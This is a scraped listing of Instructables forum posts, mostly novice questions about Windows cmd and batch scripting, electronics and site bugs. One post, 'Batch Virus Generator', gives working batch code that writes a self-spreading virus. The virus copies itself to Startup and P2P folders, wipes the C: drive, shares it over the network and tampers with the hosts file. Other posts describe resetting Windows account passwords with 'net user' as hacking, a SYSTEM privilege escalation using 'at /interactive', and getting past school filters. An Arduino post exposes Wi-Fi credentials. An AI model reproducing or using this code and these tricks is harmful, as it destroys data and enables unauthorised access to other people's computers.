Cmd Shutdown -i help

Hello Okay i run Cmd as Administrator and i got the correct ip adress that i wont to shutdown. When i try it in the Shutdown-i program stop working and it will not work

Posted by Kokosmel 11 months ago


I have figured out how to make an inbox setup, I just need help. I am not asking for someone to give me the whole answer, but rather help me figure out what the problem is. This isn't the program itself (obviously), just a section Please take a look:if %command% EQU 5 (chdir C:\chdir Documents and Settingschdir All Userschdir Desktopchdir %global.username%IF EXIST Mail.txt (type %global.username%echo You have mail!pause > nulset command=goto AccountPanel) ELSE (echo No new messages.pause > nulset command=goto AccountPanel)For some reason, I can only get it to say "You have no new messages" or "You have mail!" rather than the right one for the situation. Now, It keeps appearing and disapearing in a window whenever I select the number five. All users have the same exact Account Panel, so %global.username% just represents the user that is currently logged on using set globals. I am kindly asking for help, not for someone to do it for me. I know that batch isn't a real scripting language, but it is fun to work with, just... confusing. I am sure I have all of the directories correct. Please help!

Posted by DELETED_DELETED_DarthVader 9 years ago

How to calculate the percentage using cmd? to calculate the percentage of two numbers using cmd?

Posted by Subhasis Biswas 4 years ago

What Happened?

I was fascinated by batch programs at the time. It was about 2 months ago. I was copying the code for ScrewTheLotOfYou's Whack-a-Mole file when something I can't explain happened. After I saved the program as Whack.bat, I opened it up and... It was a Notepad program made with cmd type format. It even had a pointer that followed your mouse around! It was a small rectangle that was the opposite color as the thing you were highlighting. You could Open/Save programs and everything! I checked the code for it, but it was the code for Whack-a-Mole. I was mad a first because I couldn;t play the game, and didn't think much of it. Now, the game works perfectly and I'm mad because I can't get back to the Notepad program!

Posted by DELETED_DELETED_DarthVader 9 years ago

Batch pause command

I was just wondering if there was a way to customize the message in a batch file to say something other then "press any key to continue....." or hiding the message with ">nul" thanks Batchers Unite!!!

Posted by spiker 9 years ago

Once again, I need Batch Help

Is there a command that can count the times a code "plays/runs" and then do something with that number? such as....@ECHO OFF echo.Echo HiEcho. pause >nulEcho.:againstart Blah.txtgoto :againIf goto :again = 5 times goto :end <---- concept Idea:end echo.echo now its opened 5 timesecho.pauseNow if it went to again 5 times is there a way that i can send it another anchor in the script?

Posted by spiker 9 years ago

Obtaining Vista CMD Commands

In Vista command prompt, there are loads of commands that weren't there in XP, some of which are needed for a utility program I am writing. I run XP, and therefore am in search of a 'pack' of these added commands that I could download. Know of one?

Posted by puffyfluff 9 years ago

how do i hack with out a cmd??

I need to learn how to do things on a school computer but i have no cmd cause you need to be an admin so i need some tips and help please

Posted by KLYMAXXFACT 6 years ago

General Batch Discussion

The Official Batch Homies Discussion Forum

Posted by Chad Baxter 5 years ago

Help me at "for" command (Batch/CMD)

Can anyone help me? I've got a problem with the "for" command. I can't include decimals (like 0,1). Here's the code: @echo off :Start cls echo. & echo. echo Let's play a game! It's called echo NUMBER! Type in any number echo between 1 and 10: set/p "choice=>" for /L %%G in (1,1,10) do if %choice%==%%G goto Add :Wrong echo. echo Choose a number between 1 and 10! ping localhost -n >nul 2 goto Start :Add if %choice%==10 goto Tie set one=1 set /a result=%choice%+%one% echo I choose %result%! ping localhost -n >nul 3 goto Loser :Tie echo I choose 10, too! ping localhost -n >nul 3 echo. echo -=-=-=-=-=-TIE-=-=-=-=-=- echo. echo Press ENTER pause>nul goto Again :Loser cls echo. & echo. echo %result% is bigger than %choice%. echo Sorry, you lose. echo Press ENTER pause>nul   goto Again :Again cls echo. & echo. echo Wanna play again? (y/n) set/p "choice1=>" if %choice1%==y goto Start if %choice1%==n goto End :Sorry echo. echo Choose y or n! ping localhost -n >nul 3 goto Again :End exit The problem is at line 9: "for /L %%G in (1,1,10) do if %choice%==%%G goto Add" With (1,1,10) the sysem can only recognise Integers. So, if you know any way to solve that problem or to make the code more compact, please tell me :P PS: I'm from Brazil, so I'm sorry if there are any grammar mistakes.

Posted by Tetheu98 5 years ago

CMD full screen

I'm new and need help with batching. My question: Is there a command or command line that will make a .bat file full screen with-out going through the properties/defaults for each computer you want it to run on? Thanks much!! Batches Unite!!!!!!!!

Posted by spiker 9 years ago

Batch file-Change the target directory to wherever the file is?

I need to make a batch file change the directory to wherever it is currently stored. I know how to use the "cd" command, but I don't know how to get the current directory of the file. Can someone please help?

Posted by metrogdor22 7 years ago

Batch file programming help

Hi, I've been recently working on a batch file program that can multitask, and open and close various programs on command. Currently, the main interface file is called "DBat"(without the quotes, and its a batch, so I guess its really DBat.bat). The folder it is in is on my Desktop, and called "DBat"(no quotes) I would like to make it so that when I open the folder, it automatically runs DBat. How would I do this? To explain it clearer: I open the DBat folder DBat.bat runs Anyone know how I should go about this?

Posted by metrogdor22 8 years ago

Web design & development series

Hi, I am web designer & developer form Nederland. I've been looking around here for some time and it seems like there are not many series that cover everthing about how to design and then develop a website. I thought it would be awsome to create a instructsble serie that let's someone develop there own website in pure HTML & CSS. So I have a couple of ideas. - explaining the basics of flat design (todays standard in web design) - creating a website in pure html & css from the ground up - creating a compleet wordpress theme - much more If you like one of the above ideas or if you have one of your own, please let me know. Thanks for reading. And let me know what you think! Greetings from Holland.

Posted by Kevin Tipker 2 years ago

external links wrapped &amp; prevented from opening new window/tab with cmd-click or middle click

Any links in an instructable that go an external site use some sort of javascript trick to prevent these links from opening in a new tab if cmd-clicked (on both Firefox & Safari) and middle-mouse button clicked (on Safari). A website should not override standard browser behavior configured by the user.

Posted by todbot 9 years ago

Batch project

I need people that can script/batch to bounce some ides off of. through ideas out and let them get heard, talk about them, ask for help, I will ask some things along the way I'm sure :D!! Batchers Unite!!!!

Posted by spiker 9 years ago

Anyone know how to make a bootable USB?

I've done it before using cmd... But now I forget :-/ Anyone know how to make a USB thumb drive bootable using either cmd or a free graphical program?

Posted by Labot2001 9 years ago

Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 10 years ago

ATtiny 13

I need help choosing a software for ATtiny13 microcontroller. I do not want to program in cmd and need something that is compatible with USBtinyISP.

Posted by sotsirh194 9 years ago

Batch Program ideas

Hey everyone! ive made only two batch programs, as you may or may not know. i need ideas, anything that you suggest, i can make!! (no moving games, cant do that) but anything else you want me to make, i can and WILL program it. its your chance to express yourselves, i need ideas!!      *dont give simple ideas, i like chalenges ;)

Posted by Country Boy 97 6 years ago


Hi! I'm new in batch coding using cmd. I need help. My teacher gave me an exercise where once you put a grade it will show the equivalent standing of that grade: 91-100 - excellent 81-90 -Very Satisfactory 71-80 - Satisfactory 61-70 - Very Good 51-60 - Good 0-50 - Failed ******************* Now I tried the code if %num% GRT 91 echo Excellent If %num% LSS 50 echo Failed But the problem is I don't know how to do with the rest. As per my teacher there's no code such as '<=' or '>=' there are other activities with such problem. I just need to know how to figure this one out then I will be able to to do the rest. Please help me.

Posted by maakuasa 10 months ago

computer commands [question]

Alright what I want to know are some computer commands. NOT like pinging sites with cmd. But like shift+alt+print screen makes it go into high resolution mode. If you know any please tell me how to do it and what it does.Thank you in advance.

Posted by thejrb 11 years ago

changing admins password

Ok i was wonding if it would be possible to change the admin's password using cmd being run as administrator (net user administrator *) then signing in with that account then going to control panel internet options and unblocking it that is my idea but would this be safe and can you even sign in with the admins account on your laptop

Posted by donkeyroller 8 years ago

Malware - netstat

Quick one:Check what your Windows machine is connected to with netstatRun a command (cmd) prompt and type "netstat /?" for the options.Then run netstat with your choice of option(s)Pleased to find nothing causing me concern on mine (i.e. no Russian mail-servers...)(Idea from an article in PCF)L

Posted by lemonie 9 years ago

Add Request

I do occasionally look at the adds, but I find it really annoying having to remember to hold CMD when I click on them so they open in a new tab. Could the instructables team please re-program the site so that it will open the adds and links in a new tab or window, just like facebook? Thanks, BB

Posted by Bartboy 8 years ago

Laptop Cooling Pad

I'm using a laptop-sized, vented, inverted vegetable tray to keep the laptop cool. It's quite effective even without any fans in this scorching heat. I added a CPU fan underneath ( 12 V, 0.42 A), and ran it off a USB cable from the laptop. The air is quite nice, but one thing I'm a bit worried is, when I touch the top of the laptop, it slightly vibrates constantly due to the fan underneath. Is that dangerous for the laptop? I'm planning to add another fan beneath the hard disk. The one I have now, is under the laptop's CPU fan. Another thing I would like to know is that, is it okay to run two fans of 042 A each, from two USB ports? Each USB port can supply 0.5 A max current. Running one fan off each port should be okay? But, today, the temperature was quite high in the afternoon, nearly 50 degrees! I'm thinking of buyin a readymade laptop cooler.  One of these three cheap ones at ebay India:;=LH_DefaultDomain_203&hash;=item3a5ac76128;=LH_DefaultDomain_203&hash;=item3a5ab16af1#shId;=LH_DefaultDomain_203&hash;=item414f6348b2 Please advise / comment. Regards, RS 

Posted by rseni 8 years ago

My computer disconnects from the internet!

Hi. My computer "disconnects" from the internet every 15 - 30 minutes. But skype stays connected and my computer says that i am still connected. Iget connected again when I change my ip (with cmd, ipconfig /release, ipconfig /renew) but I disconnect again a little later. Is there a solution that is forever?

Posted by dkmartin123 6 years ago

Help With Film to Digital Conversion

Could someone tell me how to photograph negatives, and then process them into positive images? This is the best I can do, and when I invert the colors, it does not look right. (Ctrl-Alt-Cmd-8 on a mac) Any help would be appreciated, preferably with camera settings rather than computer adjustments. Second image is original print, I would prefer not to have to get expensive prints.

Posted by ItsTheHobbs 7 years ago

Making Internal HDD Windows 7 Bootable

I found a guide on this website (link to follow) detailing how I can make my Internal HDD bootable for windows 7. I ran into an issue in step 2 with the command prompts. I made a partition of my main drive of 500GBs. The new partition was set to drive J at 25GBs. I Began step 2, In CMD I ran the following prompts: diskpart, list disk (there was only one available), Select disk X, List partition. That is where i ran into the issue. What came up was on the CMD window Partition ### ////Type///// Size /////Offset Partition 3 Dynamic Data 992 KB 31 KB Partition 1 Dynamic Data 199 MB 1024KB Partition 2 Dynamic Data 422GB 200 MB Partition 4 Dynamic Data 42 GB 422 GB My question is which of the above partitions do i select to continue making my HDD bootable. Thank you for your help

Posted by XxPLaGuEzZxX 3 years ago

When loading pages or just reloading them it takes forever and a bit longer to finnish, that is if the loading actually finnishes. Everytime the site hangs at which is getting a bit annoying after two days in a row. Also, when posting comments or such the bottom part where you upload images is messed up. The two lines reading Tip: Select multiple files using Ctrl (mac: Cmd) or Shift key. Is this uploader not working for you? Try the old uploader. Are priinted on top of each partially.

Posted by Downunder35m 1 year ago

Problems posting comment / need anti-duplicate-posts

I was trying to post a comment and it wasn't doing anything when I pressed "Make Comment". Even after I refreshed the page like 10-20 times. I always copy (cmd+a and cmd+c) my comments before I hit the post button. For other websites, sometimes I run into an error for the first submit. But on Instructables, I reloaded the page so many times and pasted my comment and hit the button but nothing. Finally I just decided to hit the Make Comment button like it was an arcade fighter game. Then suddenly there were like 15 duplicates of my comment. I had to slowly delete one by one, each delete press had required a page reload so it was slow. I posted to: You guys need a better client side submit function and a server side anti-duplicate message post. If you are running PHP I can probably come up with something about the anti-duplicate post. But for a better javascript submitter, well I gotta open my can of worm brains without a can opener to plan and implement a good function.

Posted by tcambrón 3 years ago

School Computer Blocked Sites (Macs)

Yes, yes, I know. There are many ways to unblock a website, but most are for Windows machines, not Macs. My whole school has Macintosh computers, therefore none of the CMD prompts work for me.Any Ideas on how to get around this business?Specs of the computers:The school computers are OS XEach computer is a G5I have next to no computer h4xing skills.Firebert010 influenced me so much with his background I used it, all credit of awesomeness goes to him.:D

Posted by bumpus 9 years ago

how to hack windows passwords

So im just posting this part because i dont have pics yet but when i do im posting the instructable, kk?1 * press (windows) + R2 * type in cmd3 * the comand prompt will pop up. now type in net user4 * it will show all the acounts.5 * type in net user (insert name here) * EX. net user Sid *6 * it willask you to type in a password so enter anything or just hit the ENTER key to unlock the password and there you go u hacked an acounts password!

Posted by knex-4-life 10 years ago

Help with AVRdude

Hi guys, im trying to use a JTAG USB ICE debugger programmer on an ATMEGA32 microcontroller with avrdude, but when im trying to initialize  the microcontroller i keep getting error, in cmd; >avrdude -c jtag2 -p m32 the error: >avrdude:ser_open<>: can't open device "\\.\com1":the system cannot find the file specified. then i checked the port for the programmer, its at com9, so then i write >avrdude - jtag2 -P com9 -p m32 i will get error: avrdude: jtagmkII_recv_frame<>:timout avrdude:jtagmkII_getsync<>:sign-on command: status -1 anyone can help me with this? been stuck like forever now, thank you very much for helping, cheers!!

Posted by anepzamri 4 years ago


1.- my images where uploaded a 56 times because I kept pressing the image (stupid me) but anyways..... I have to delete one - by one!!!!! Are you kidding me. Cant I select all and then just erase them . Or erase a folder or something in my library... <------If you know how to do this tell me update: (Note: Use Ctrl-/Cmd- and Shift-select for multiple files) ...I just saw it after trying it again. I didnt want to delete it because It might help some other frustated robot2. The second Bug I am reporting is: MY FLICKER IMAGES LOSE THEIR NAME WHEN I ADD THEM TO MY LIBRARY (I put it in caps so a developer from flicker can fix this.) Cant I use the name they already had? Might as well Upload one by one. Its gonna take me the same time than to change all their name.

Posted by onelmo 9 years ago

Help needed with electronics and RC stuff (planes) for personal transport project

Hi! I need a hand with getting my head around how RC plane motors are rated. I am looking at a 4000kv motor. is that 4000RPM Per volt from zero or from a nominal 6v starting voltage? This is for a personal transport project in the vein of this one - That motor looks like it is very high on the wattage front! I have found several cheap motors and controllers on ebay that I think may be suitable;=AU_Toys_Hobbies_Radio_Controlled_Vehicles&hash;=item4aa0817629 do you think that they would be able to do something similar (upto 25mph), providing that the vehicle DOESN'T have to be started from standing? A full instructable for a personal ride project is hanging on this info... Any help is greatfully received!

Posted by undescriptive 8 years ago

What are all these cookies on Instructables, etc?

I don't know if most people can read their own cookies.Today when I signed on instructables with a clear cache , I got these GANJAUSERSETTINGSApparently ganja means smoking pot. Why give me those cookies?Here are some other cookies I think stink.ACIDBASEROLL (< who's being "wicked ... in High places"? Everybody must get stoned?)doubleclick.* (tracking cookie)hitbox.* (tracking cookie)2o7.* (tracking cookie)KIDYMD (when I haven't been there)RU4 (are you for... as in RU4 86? what are you for?)test-loyalty (do you like Bush?)lucky# geoinfo (where are you now?)FLASH9 (hidden)I will post more sneaky looking cookies as I get them. I can't remember more now.If anyone is a truthful expert on cookies, share more clues.dttd://CMD MSG 41387 04551.70280 ETX (user defined protocol)

Posted by VIRON 11 years ago

What did I just do?

If any of you out there who know lots about how the inside of my computer works could tell me what in the world I just did, that would be wonderful! Here's what I did: I clicked Start, clicked run, and typed 'CMD'. Command prompt opened up and I typed 'At (I put the time it would be 1 minute from when I typed it) /interactive "cmd.exe" After the minute went by a new command prompt opened up. I typed 'exit' in the old one. I did ctrl-alt-delete and ended the process 'explorer.exe'. After I killed that I typed 'cd ..' in the command prompt window, then I typed 'explorer.exe' and it opened back up. On my home computer I was signed in as SYSTEM at this point and on the computers in the computer labs at the community college I was logged in as the same user name as before except with a '$' on the end. At this point I appear to have privileges above an admin profile and I can access and edit all sorts of files and things I know an admin can't normally access. I can also do things to profiles, like give them admin privileges. I haven't figured out how to do this without setting the time I want it to start a minute ahead of the time it was when I typed it.... Is it possible? And I know the 'cd ..' brings me up a directory, why am I able to do this with explorer.exe closed? It appears to be a large security hole... I just want to know how/what just happened! Thanks! -DMC

Posted by drinkmorecoffee 10 years ago


Hello, I'm using ESP8266 WIFI module and GPS module. I have connected to ARDUINO UNO R3 board to read the GPS coordinates and transmit them to webpage using ESP8266 WiFi module connected to router. In my code the page change only when I press F5 (refresh) , and so I can see the change of Coordinates. I want to see the changing results dynamically with out refreshing the webpage. what to I need to do /change in order that it will change automatically? please check my code here or in the attachment  and suggest me the changes. Thanks in advance. CODE: // code starts #include #include SoftwareSerial Serial1(2,3);     //   ESP8266 RX pin 2, TX pin 3. SoftwareSerial gps(11, 10);       //   GPS RX pin 10, TX pin 11.   boolean No_IP=false; String IP=""; String webpage=""; int i=0,k=0; int  gps_status=0; String name=" Name: XXXXXXXX ";   //22 String date="DATE: DD MM YYYY";     //21 String number=" Vehicle No.: ABC 0000";//29 String cordinat="Coordinates:";          //17 String latitude=""; String logitude="";                       String gpsString=""; char *test="$GPGGA"; void check4IP(int t1) {   int t2=millis();   while(t2+t1>millis())   {     while(Serial1.available()>0)     {       if(Serial1.find("WIFI GOT IP"))       {         No_IP=true;       }     }   } } void get_ip() {   IP="";   char ch=0;   while(1)   {     Serial1.println("AT+CIFSR");     while(Serial1.available()>0)     {       if(Serial1.find("STAIP,"))       {         delay(1000);         Serial.print("IP Address:");         while(Serial1.available()>0)         { ;           if(ch=='+')           break;           IP+=ch;         }       }       if(ch=='+')       break;     }     if(ch=='+')     break;     delay(1000);   }   Serial.print(IP);   Serial.print("Port:");   Serial.println(80);   delay(1000); } void connect_wifi(String cmd, int t) {   int temp=0,i=0;   while(1)   {     Serial.println(cmd);     Serial1.println(cmd);     while(Serial1.available()>0)     {       if(Serial1.find("OK"))       {       i=8;       }     }     delay(t);     if(i>5)     break;     i++;   }   if(i==8)   {     Serial.println("OK");   }   else   {   Serial.println("Error");   }   delay(1000); } void setup() {   Serial1.begin(9600);   Serial.begin(9600);   delay(1000);   connect_wifi("AT",1000);   connect_wifi("AT+CWMODE=3",1000);   connect_wifi("AT+CWQAP",1000);    connect_wifi("AT+RST",5000);   check4IP(5000);   if(!No_IP)       {         Serial.println("Connecting Wifi....");         connect_wifi("AT+CWJAP=\"MountPointTech\",\"MpTl2013\"",7000);   //AT+CWJAP="wifi_username","wifi_password"       }       else         {         }       Serial.println("Wifi Connected");       get_ip();       delay(2000);       connect_wifi("AT+CIPMUX=1",100);       connect_wifi("AT+CIPSERVER=1,80",100);       Serial1.end();       Serial.println("Waiting For GPS");       Serial.println("     Signal    ");       delay(2000);       gps.begin(9600);       get_gps();       show_coordinate();       gps.end();       Serial1.begin(9600);       delay(2000);      Serial.println("GPS is Ready");       delay(1000);       Serial.println("System Ready.."); } void loop() {   k=0;   Serial.println("Please Refresh Ur Page");   while(k<1000)   {     k++;    while(Serial1.available())    {     if(Serial1.find("0,CONNECT"))     {       Serial1.end();         gps.begin(9600);       get_gps();       gps.end();       Serial1.begin(9600);       Serial1.flush();       Serial.println("Start Printing");       Send();       show_coordinate();       Serial.println("Done Printing");       delay(5000);       //delay(1000);       k=1200;       break;     }   }   delay(1); } } void gpsEvent() {   gpsString="";   while(1)   {    while (gps.available()>0)                //Serial incoming data from GPS    {     char inChar = (char);      gpsString+= inChar;                    //store incoming data from GPS to temporary string str[]      i++;      if (i < 7)                           {       if(gpsString[i-1] != test[i-1])       //check for right string       {         i=0;         gpsString="";       }      }     if(inChar=='\r')     {      if(i>65)      {        gps_status=1;        break;      }      else      {        i=0;      }     }   }    if(gps_status)     break;   } } void get_gps() {    gps_status=0;    int x=0;    while(gps_status==0)    {     gpsEvent();     int str_lenth=i;     latitude="";     logitude="";     coordinate2dec();         i=0;x=0;     str_lenth=0;    } } void show_coordinate() {         Serial.print("Latitude:");     Serial.println(latitude);     Serial.print("Longitude:");     Serial.println(logitude); } void coordinate2dec() {         //j=0;     String lat_degree="";     for(i=18;i<20;i++)          //extract latitude from string       lat_degree+=gpsString;         String lat_minut="";     for(i=20;i<28;i++)       lat_minut+=gpsString;         String long_degree="";     for(i=30;i<33;i++)          //extract longitude from string       long_degree+=gpsString;           String long_minut="";     for(i=33;i<41;i++)       long_minut+=gpsString;            float minut= lat_minut.toFloat();      minut=minut/60;      float degree=lat_degree.toFloat();      latitude=degree+minut;           minut= long_minut.toFloat();      minut=minut/60;      degree=long_degree.toFloat();      logitude=degree+minut; } void Send() {            webpage = "Welcome to MountPoint Technologies Pvt Ltd";       webpage+=name;       webpage+=date;       webpage+=number;       webpage+=cordinat;       webpage+="Latitude:";       webpage+=latitude;       webpage+="";       webpage+="Longitude:";       webpage+=logitude;       webpage+="";       webpage+= "       webpage+=latitude;       webpage+='+';              //28.612953, 77.231545   //28.612953,77.2293563       webpage+=logitude;       webpage+="\">Click Here for google map ";       sendwebdata();       webpage="";        while(1)          {       Serial.println("AT+CIPCLOSE=0");       Serial1.println("AT+CIPCLOSE=0");       while(Serial1.available())       {         //Serial.print(;         if(Serial1.find("0,CLOSE"))         {           return;         }       }       delay(500);       i++;       if(i>5)       {         i=0;       }       if(i==0)       break;      } } void sendwebdata() {      i=0;      while(1)      {       unsigned int l=webpage.length();       Serial1.print("AT+CIPSEND=0,");       Serial1.println(l+2);       Serial.println(l+2);       Serial.println(webpage);       Serial1.println(webpage);       while(Serial1.available())       {         if(Serial1.find("OK"))         {          return;         }       }             i++;       if(i>5)         i=0;         if(i==0)         break;       delay(200);      } } // end of code.

Posted by shivendrareddy 1 year ago

Relationship between volts and amps

I'm working on a project found in this thread I think I'm almost ready to buy parts and start building but I have a small issue with getting the exact voltage and amperage output I need. I've been researching for hours and I can't find a simple answer to this problem. As I understand it, as voltage decreases, amperage increases to compensate and maintain wattage. Working on this basic understanding I've come up with this model. If I have a solar array consisting of 6 PV cells (1.5V 50mA ea) wired together I get 9V and 300mA. This is too much voltage and is on the low end of amps I want. If my math (and understanding of the subject) is correct, then if I use a 5V voltage regulator I will have a final max output of 5V and 433.3 mA which is right about perfect. Am I doing this right or is there more to it, like how I'm wiring the cells together? Am I correct in the idea that using a voltage regulator will increase my amp output? I'm not schooled in electricity in any way so I would appreciate any help I can get on this in as simple of a form as possible. Everything here I've put together from several hours of studying sites on solar DYI and electricity. Thanks. For reference, these are the solar cells I was referring to:;=LH_DefaultDomain_0&hash;=item4aa1c90ffc#ht_2428wt_1148 *EDIT* Below is a diagram of what I suspect may give me a 5V/490mAh output which would be absolutely perfect. I need to know if I can wire two different sizes of solar cells together in this manner and how it will effect the output.

Posted by HittingSmoke 8 years ago

Summary of observed/reported bugs or poor features with new editor

(10/16 Updated with overnight fixes) (10/15 Updated with new dropped-spaces/wrapping bug) (10/9 Updated with overnight fixes, and two new bug bullets) (10/8 Updated subsequent to Rachel's very nice response, with discovery of another bug.) I originally posted the following as a comment in Eric's announcement about the new editor, but it seems more likely to assist staff as a separate bug report.  I've tweaked the text a bit from my original comment. It would be helpful to know (by response) whether these issues are being (or cannot be) addressed, either by Instructables staff or by the CKE developers. It seems there are some fairly substantive bugs or obstructive "features" in the newly rolled-out editor. The ones I've collected so far (from reading posts as well as personal experience) are (now grouped separately as "true bugs" vs. "feature changes" or "design issues"): Browser Incompatibility There are serious shortcomings with the new editor on non-Firefox browsers Cannot paste comments at all, mishandling of links, etc. Bugs Additional user-entered spaces left as "&nbsp;" entities, rather than collapsed Pop-up box for hyperlinks is empty (no where to enter/paste a URL) FIXED Inexplicable "invalid formatting" errors FIXED Text pasting interference (hijacking of Ctrl/Cmd-V) FIXED Interference of spell-checker with built-in and configurable facilities FIXED Extra whitespace inserted between HTML markup and adjacent characters FIXED Line wrapping has problems:  spaced between words get dropped FIXED Spell-checker mistakes and application to hidden format codes FIXED Feature/Design Issues Extremely slow loading and processing FIXED! FIXED! FIXED! Inconsistent recognition of typed-in URLs (maybe three separate bugs?) FIXED Text box loses keyboard focus and requires multiple mouse-clicks to recover Editor box, icons, and posting button cut off by sidebar Limited keyboard-based markup (only bold, italic, and underlining), no entities Blank-line separation is not identified/translated into proper HTML paragraph tags Redundant end-of-line tag ("") at end of user's text. I realize that you all have already gone through the conversion of the existing database of comments and everything else, so backing this out is essentially impossible. However, it might be worthwhile rolling out fixes for these problems as soon as they're available, rather than waiting for a regular update cycle.

Posted by kelseymh 8 years ago